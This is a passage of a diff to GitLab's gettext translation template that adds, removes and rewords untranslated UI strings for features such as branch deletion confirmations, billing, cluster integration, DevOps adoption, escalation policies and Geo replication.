+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -4937,6 +5028,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -4946,6 +5040,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5171,6 +5271,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5183,6 +5286,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5192,6 +5298,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5213,12 +5325,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5252,6 +5370,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5264,6 +5385,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5333,6 +5466,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5345,9 +5481,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5414,9 +5556,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5465,15 +5604,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5481,6 +5620,9 @@ msgid "CICDAnalytics|Release"
msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6174,7 +6316,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6558,72 +6700,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6786,6 +6862,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6828,12 +6910,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -6996,6 +7072,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7080,9 +7159,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7143,7 +7219,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7239,9 +7315,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7254,9 +7327,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7353,9 +7423,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7494,9 +7561,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7509,9 +7573,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7785,6 +7846,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -7927,6 +7997,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8065,9 +8138,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8188,6 +8258,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8251,6 +8324,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8406,6 +8482,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9085,9 +9164,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9118,9 +9194,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9172,6 +9245,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9223,6 +9299,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9256,6 +9335,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9583,27 +9665,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9822,9 +9883,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr "DNS"
@@ -10044,9 +10111,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10411,6 +10475,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11120,22 +11187,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
+msgstr ""
+
+msgid "DevopsAdoption|At least one approval on an MR"
+msgstr ""
+
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|Code owners"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11144,6 +11217,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11171,6 +11247,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11192,6 +11271,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11204,21 +11286,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|Leader usage"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11285,15 +11379,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11321,6 +11415,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11547,7 +11644,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11562,6 +11659,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11571,9 +11686,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11688,9 +11800,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11745,6 +11854,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -11874,13 +11986,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -11958,6 +12070,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12003,9 +12118,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12027,9 +12139,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12699,9 +12808,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12714,12 +12820,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12828,6 +12940,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -12889,7 +13049,8 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13531,6 +13692,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13555,9 +13719,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13585,9 +13746,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13606,9 +13764,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13651,9 +13806,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13669,7 +13821,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -13919,6 +14071,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14024,6 +14185,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14042,6 +14206,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14069,6 +14236,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14336,6 +14512,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14363,6 +14542,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14390,6 +14572,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14414,6 +14599,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14441,6 +14629,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14486,6 +14677,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14498,10 +14692,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14666,6 +14866,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14678,10 +14884,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -14927,9 +15136,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15026,16 +15232,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15068,9 +15277,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15125,6 +15331,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15203,7 +15412,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15317,6 +15526,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15377,6 +15589,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15398,13 +15613,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
